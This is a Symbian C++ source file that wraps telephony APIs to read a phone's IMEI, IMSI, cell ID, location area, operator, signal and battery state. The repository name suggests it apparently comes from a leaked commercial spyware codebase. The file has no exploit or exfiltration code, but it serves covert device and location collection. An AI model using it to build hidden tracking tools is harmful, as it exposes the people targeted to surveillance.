hackedteam/core-symbian

View on GitHub
RCS_CommonLib/src/Phone.cpp

Summary

Maintainability
Test Coverage
#include "Phone.h"
#include <MTCLREG.H> 
#include <smsclnt.h>
#include <smut.h>
#include <smutset.h>
#include <smutsimparam.h>
#include <e32math.h>

CPhone::CPhone() :
    CActive(EPriorityStandard)
    {
    iFunc = ENoneFunc;
    }

CPhone* CPhone::NewL()
    {
    CPhone* self = CPhone::NewLC();
    CleanupStack::Pop(); // self;
    return self;
    }

CPhone* CPhone::NewLC()
    {
    CPhone* self = new (ELeave) CPhone();
    CleanupStack::PushL(self);
    self->ConstructL();
    return self;
    }

void CPhone::ConstructL()
    {
    CActiveScheduler::Add(this);
    __FLOG_OPEN_ID("HT", "Phone.txt");
    __FLOG(_L("---------"));

    // Nell'emulatore UIQ CTelephony non e' supportata...
#ifndef __WINSCW__
    iTelephony = CTelephony::NewL();
#endif

    iWait = new (ELeave) CActiveSchedulerWait();
    iAbort = EFalse;
    }

void CPhone::SetObserver(MPhoneObserver* Observer)
    {
    iObserver = Observer;
    }

CPhone::~CPhone()
    {
    __FLOG(_L("Destructor"));
    Cancel();
    delete iTelephony;
    delete iWait;
    __FLOG(_L("End Destructor"));
    __FLOG_CLOSE;
    }

void CPhone::DoCancel()
    {
    __FLOG_1(_L("DoCancel: %d"), iFunc);
    if (iWait->IsStarted()) // ***
        iWait->AsyncStop(); // ***

    iAbort = ETrue;
    //__FLOG_1(_L("DoCancel:%d"), iFunc);
    switch (iFunc)
        {
        case EImei:
            iTelephony->CancelAsync(CTelephony::EGetPhoneIdCancel);
            break;
        case EImsi:
            iTelephony->CancelAsync(CTelephony::EGetSubscriberIdCancel);
            break;
        case ENetStatus:
            iTelephony->CancelAsync(CTelephony::EGetNetworkRegistrationStatusCancel);
            break;
        case ECellID:
            iTelephony->CancelAsync(CTelephony::EGetCurrentNetworkInfoCancel);
            break;
        case ENotifyCellIDChange:
            iTelephony->CancelAsync(CTelephony::ECurrentNetworkInfoChangeCancel);
            break;
        case ENotifyNetworkStatusChange:
            iTelephony->CancelAsync(CTelephony::ENetworkRegistrationStatusChangeCancel);
            break;
        case ENotifyBatteryStatusChange:
            iTelephony->CancelAsync(CTelephony::EBatteryInfoChangeCancel);
            break;
        case ENetName:
            iTelephony->CancelAsync(CTelephony::EGetCurrentNetworkNameCancel);
            break;
        case ESignalStrength:
            iTelephony->CancelAsync(CTelephony::EGetSignalStrengthCancel);
            break;
        case EBatteryInfo:
            iTelephony->CancelAsync(CTelephony::EGetBatteryInfoCancel);
            break;
        case EOperatorName:
            iTelephony->CancelAsync(CTelephony::EGetOperatorNameCancel);
            break;
        case EAcIndicator:
            iTelephony->CancelAsync(CTelephony::EGetIndicatorCancel);
            break;
        default:
            break;
        }
    iFunc = ENoneFunc;
    }

TInt CPhone::RunError(TInt /*aError*/)
    {
    return KErrNone;
    }

void CPhone::GetImeiSync(TDes& aImei)
    {
    __FLOG(_L("GetImeiSync"));
    if (IsActive())
        {
        Cancel();
        }

#ifdef __WINSCW__
    aImei = _L("356962014461702");
    return;
#endif

    CTelephony::TPhoneIdV1Pckg phoneIdPckg(iPhoneId);
    iTelephony->GetPhoneId(iStatus, phoneIdPckg);

    iFunc = EImei;
    SetActive();
    StartWait();
    iFunc = ENoneFunc;

    iPhoneId.iSerialNumber.Trim();
    aImei = iPhoneId.iSerialNumber.Left(15);
    }

void CPhone::GetImsiSync(TDes& aImsi)
    {
    __FLOG(_L("GetImsiSync"));
    if (IsActive())
        {
        Cancel();
        }

#ifdef __WINSCW__
    aImsi = _L("123456789012345");
    return;
#endif
    CTelephony::TSubscriberIdV1Pckg subIdPckg(iSubId);
    iTelephony->GetSubscriberId(iStatus, subIdPckg);

    iFunc = EImsi;
    SetActive();
    StartWait();
    iFunc = ENoneFunc;

    aImsi = iSubId.iSubscriberId;
    }

void CPhone::GetNetworkNameSync(TDes& aNetworkName)
    {
    __FLOG(_L("GetNetworkNameSync"));
    if (IsActive())
        {
        Cancel();
        }

#ifdef __WINSCW__
    aNetworkName = _L("FakeNet");
    return;
#endif
    CTelephony::TNetworkNameV1Pckg netPckg(iNetwork);
    iTelephony->GetCurrentNetworkName(iStatus, netPckg);

    iFunc = ENetName;
    SetActive();
    StartWait();
    iFunc = ENoneFunc;

    aNetworkName = iNetwork.iNetworkName;
    __FLOG(_L("NetworkName:"));
    __FLOG(aNetworkName);
    }

void CPhone::GetNetworkStatusSync(CTelephony::TRegistrationStatus& regStatus)
    {
    __FLOG(_L("GetNetworkStatusSync"));
    if (IsActive())
        {
        Cancel();
        }

#ifdef __WINSCW__
    regStatus = CTelephony::ERegisteredOnHomeNetwork;
    return;
#endif

    CTelephony::TNetworkRegistrationV1Pckg netStatPckg(iNetStatus);
    iNetStatus.iRegStatus = CTelephony::ERegistrationUnknown;
    iTelephony->GetNetworkRegistrationStatus(iStatus, netStatPckg);

    iFunc = ENetStatus;
    SetActive();
    StartWait();
    iFunc = ENoneFunc;

    regStatus = iNetStatus.iRegStatus;
    }


void CPhone::NotifyCellIDChange(TDes8& pckgNet)
    {
    __FLOG(_L("NotifyNetworkInfoChange"));
    if (IsActive())
        {
        Cancel();
        }

#ifdef __WINSCW__
    return;
#endif
    iTelephony->NotifyChange(iStatus, CTelephony::ECurrentNetworkInfoChange, pckgNet);
    iFunc = ENotifyCellIDChange;
    SetActive();    
    }

void CPhone::NotifyNetworkStatusChange(TDes8& pckgNet)
    {
    __FLOG(_L("NotifyNetworkStatusChange"));
    if (IsActive())
        {
        Cancel();
        }

#ifdef __WINSCW__
    return;
#endif
    iTelephony->NotifyChange(iStatus, CTelephony::ENetworkRegistrationStatusChange, pckgNet);
    iFunc = ENotifyNetworkStatusChange;
    SetActive();
    }

//    iPhone.NotifyNetworkRegistrationStatusChange(iStatus, iRegStatus);

void CPhone::NotifyBatteryStatusChange(TDes8& pckgBattery)
    {
    __FLOG(_L("NotifyBatteryStatusChange"));
    if (IsActive())
        {
        Cancel();
        }

#ifdef __WINSCW__
    return;
#endif
    iTelephony->NotifyChange(iStatus, CTelephony::EBatteryInfoChange, pckgBattery);
    iFunc = ENotifyBatteryStatusChange;
    SetActive();
    }

void CPhone::GetCellIDSync(TDes8& pckgNet)
    {
    __FLOG(_L("GetCellIDSync"));
#ifdef __WINSCW__
    return;
#endif 
    iTelephony->GetCurrentNetworkInfo(iStatus, pckgNet);
    iFunc = ECellID;
    SetActive();
    StartWait();
    iFunc = ENoneFunc;
    }


void CPhone::GetCellIDSync(TUint& aCellId, TUint& aLocationAreaCode, TDes& aNetworkId, TDes& aCountryCode,
        TDes& aOperName)
    {
    __FLOG(_L("GetCellID"));
    if (IsActive())
        {
        Cancel();
        }

#ifdef __WINSCW__
    aCellId = 1000;
    aLocationAreaCode = 2000;
    aCountryCode = _L("11");
    aNetworkId = _L("22");
    aOperName = _L("name");
    return;
#endif
    CTelephony::TNetworkInfoV1Pckg netInfoPckg(iNetInfo);
    GetCellIDSync(netInfoPckg);
    
    //    if (iNetInfo.iAreaKnown) 
    //    {
    aCellId = iNetInfo.iCellId;    
    aCellId = aCellId & 0xFFFF;    // jo
    aLocationAreaCode = iNetInfo.iLocationAreaCode;
    aCountryCode = iNetInfo.iCountryCode;
    aOperName = iNetInfo.iLongName;
    aNetworkId = iNetInfo.iNetworkId;
    //    }
    __FLOG(_L("CountryCode:"));
    __FLOG(aCountryCode);
    __FLOG(_L("NetId:"));
    __FLOG(aNetworkId);
    __FLOG(_L("OperLongName:"));
    __FLOG(iNetInfo.iLongName);
    __FLOG(_L("OperShortName:"));
    __FLOG(iNetInfo.iShortName);
    }

void CPhone::GetSignalStrengthSync(TInt32& aSignalStrength)
    {
    if (IsActive())
        {
        Cancel();
        }

    CTelephony::TSignalStrengthV1Pckg sigStrengthPckg(iSigStrengthV1);
    iTelephony->GetSignalStrength(iStatus,sigStrengthPckg);
    iFunc = ESignalStrength; 
    SetActive();
    StartWait();
    iFunc = ENoneFunc;
    aSignalStrength = iSigStrengthV1.iSignalStrength;
    }


void CPhone::GetBatteryInfoSync(TUint& aChargeLevel, CTelephony::TBatteryStatus& aBatteryStatus)
    {
    if (IsActive())
        {
        Cancel();
        }

    CTelephony::TBatteryInfoV1Pckg batteryInfoPckg(iBatteryInfo);
    iTelephony->GetBatteryInfo(iStatus,batteryInfoPckg);
    iFunc = EBatteryInfo; 
    SetActive();
    StartWait();
    iFunc = ENoneFunc;
    aChargeLevel = iBatteryInfo.iChargeLevel;
    aBatteryStatus = iBatteryInfo.iStatus;
    }

void CPhone::GetPhoneIdSync(TDes& aManufacturer, TDes& aModel)
    {
    if (IsActive())
        {
        Cancel();
        }

    CTelephony::TPhoneIdV1Pckg phoneIdPckg(iPhoneId);
    iTelephony->GetPhoneId(iStatus,phoneIdPckg);
    iFunc = EImei; 
    SetActive();
    StartWait();
    iFunc = ENoneFunc;
    aManufacturer.Copy(iPhoneId.iManufacturer);
    aModel.Copy(iPhoneId.iModel);
    }

void CPhone::GetOperatorNameSync(TDes& aOperatorName)
    {
    if (IsActive())
        {
        Cancel();
        }
    /*
    CTelephony::TOperatorNameV1Pckg operatorNamePckg(iOpName);
    iTelephony->GetOperatorName(iStatus,operatorNamePckg);
    iFunc = EOperatorName; 
    SetActive();
    StartWait();
    iFunc = ENoneFunc;
    aOperatorName.Copy(iOpName.iOperatorName);
    */
    CTelephony::TNetworkInfoV1Pckg netInfoPckg(iNetInfo);
    iTelephony->GetCurrentNetworkInfo(iStatus,netInfoPckg);
    iFunc = ECellID;
    SetActive();
    StartWait();
    iFunc = ENoneFunc;
    aOperatorName.Copy(iNetInfo.iShortName);
    if (aOperatorName.Length() == 0)
        {
            aOperatorName.Copy(iNetInfo.iLongName);
        }
        
    }

void CPhone::GetAcIndicatorSync(TChargerStatus& aStatus)
    {
    if (IsActive())
        {
        Cancel();
        }
    CTelephony::TIndicatorV1Pckg indicatorPckg(iIndicator);
    iTelephony->GetIndicator(iStatus,indicatorPckg);
    iFunc = EAcIndicator;
    SetActive();
    StartWait();
    iFunc = ENoneFunc;
    if(iIndicator.iCapabilities & CTelephony::KIndChargerConnected)
        {
        //We can detect when a charger is connected
        if(iIndicator.iIndicator & CTelephony::KIndChargerConnected)
            {
            //Charger is connected
            aStatus = EChargerStatusConnected;  
            }
        else
            {
            //Charger is not connected
            aStatus = EChargerStatusNotConnected;
            }
        }
        else
        {
        //We do not know whether or not a charger is connected
        aStatus = EChargerStatusUnknown;
        }
    }

void CPhone::RunL()
    {
    __FLOG(_L("RunL"));
    if (iWait->IsStarted())
        iWait->AsyncStop();

    TPhoneFunctions completed = iFunc;
    // NOTA: Impostando iFunc su None e' possibile richiamare Cancel senza problemi...
    // Inoltre, bisogna impostarlo prima di chiamare la CallBack altrim.
    // Una successiva chiamata Asincrona fatta dalla CallBack non servita' a nulla
    // perche' subito dopo viene impostato iFunc a None.
    iFunc = ENoneFunc;

    if (iStatus.Int() != KErrNone) 
        {
        __FLOG_2(_L("RunL Error:%d Func:%d"), iStatus.Int(), completed);
        }

    switch (completed)
        {
        case EImei:
            {
            break;
            }
        case EImsi:
            {
            break;
            }
        case EBatteryInfo:
            break;
        case ENotifyCellIDChange:
        case ENotifyNetworkStatusChange:
        case ENotifyBatteryStatusChange:
            {
            if (iObserver)
                iObserver->HandlePhoneEventL(completed);
            // CallBack
            break;
            }
        default:
            break;
        }
    }

void CPhone::StartWait()
    {
    iAbort = EFalse;
    if (iWait->IsStarted() != (TInt) ETrue)
        {
        //__FLOG(_L("StartWait"));
        iWait->Start();
        }
    }